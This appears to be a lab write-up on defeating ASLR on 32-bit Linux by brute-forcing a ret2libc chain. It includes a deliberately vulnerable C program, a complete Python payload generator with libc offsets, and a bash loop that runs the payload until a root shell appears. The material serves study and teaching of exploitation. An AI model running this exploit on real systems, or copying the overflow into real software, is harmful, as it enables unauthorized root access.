ASLR Bypass via ret2libc Brute Force
Editor’s note. The original repository only contained a one-line placeholder (“Lazy writing report, so skip it :P”) plus the working
vulnerable.c,exploit.pyandrun.sh. This writeup reconstructs the full technique from those source files so the post stands on its own. The exploit logic shown here is exactly what those scripts do.
1. The idea
ASLR
randomizes the base address of libc on every run, which normally breaks a
static ret2libc chain — the address you hardcoded yesterday is wrong today.
On 32-bit Linux the entropy is small. The libc base only has a limited
number of possible values, so a fixed payload built for one guessed base
will eventually line up if you simply run the program in a loop. No info leak
required — just patience and a while true.
This is the classic trade-off: ASLR makes exploitation probabilistic, not impossible, on low-entropy targets.
2. The vulnerable program
#include <stdio.h>
#include <unistd.h>
int overflow(){
char buffer[500];
int userinput;
userinput = read(0, buffer, 700);
printf("\nUser provided %d bytes. Buffer content is: %s\n", userinput, buffer);
return 0;
}
int main(int argc, char *argv[]){
overflow();
return 0;
}
read(0, buffer, 700) writes up to 700 bytes into a 500-byte stack buffer —
a textbook overflow with ~200 bytes past the buffer to reach the saved return
address.
Compile it the usual lab way (NX on, stack protector off, 32-bit), and leave ASLR enabled this time — that’s the whole point:
$ gcc -m32 -fno-stack-protector vulnerable.c -o vulnerable
$ cat /proc/sys/kernel/randomize_va_space # expect: 2 (full ASLR)
3. Building the fixed ret2libc payload
We pick one plausible libc base and build a standard
system() / exit() / "/bin/sh" chain against it. The offsets below are the
ones from this lab’s libc:
#!/usr/bin/python2
from struct import pack
libc_base = 0xf7ccc000 # one fixed guess
system = libc_base + 0x45000 # system()
exit = libc_base + 0x37950 # exit()
arg = libc_base + 0x18c338 # pointer to "/bin/sh"
buf = "A" * 516 # padding up to the saved EIP
buf += pack("<I", system) # return into system()
buf += pack("<I", exit) # system() returns here -> clean exit()
buf += pack("<I", arg) # argument: address of "/bin/sh"
print(buf)
open('payload.txt', 'wb').write(buf)
The offset 516 is the distance from the start of buffer to the saved
return address (found once with a cyclic pattern in GDB, with ASLR
temporarily off). The libc internal offsets (system, exit, the
/bin/sh string) are constant relative to the libc base — only the base
itself moves under ASLR.
4. Brute forcing the base
Because the payload is fixed but the real libc base changes each run, we simply keep firing until our guessed base happens to match:
#!/usr/bin/bash -p
while true;
do
(./exploit.py ; echo id; echo ls) | ./vulnerable | grep 'uid' -A 10 | tr 'A' ' ' ;
done
What this does on each iteration:
./exploit.pyregenerates the fixed payload and pipes it in.echo id; echo lsare queued as commands for the shell we hope to spawn.- If the randomized libc base matches our guess,
system()runs with/bin/sh, the queuedid/lsexecute, andgrep 'uid'catches the output — a visible hit. - If it doesn’t match (the common case) the program just crashes and the loop tries again.
On 32-bit, a hit typically lands within seconds to a couple of minutes.
$ ./run.sh
...
[ many crashes ] ...
uid=0(root) gid=0(root) groups=0(root)
exploit.py payload.txt run.sh vulnerable vulnerable.c
When you see the uid=... line, the guessed base lined up and the chain
executed.
5. Takeaways
- ASLR ≠ exploit-proof. On low-entropy 32-bit targets a fixed payload in a loop is a complete bypass.
- 64-bit changes the game. The entropy there makes blind brute force impractical — you generally need an info leak (see Lab 3 — ret2libc + ASLR Bypass via Info Leak).
- The reliable, deterministic approach is leaking an address rather than guessing it; brute force is the fallback when you have no leak primitive.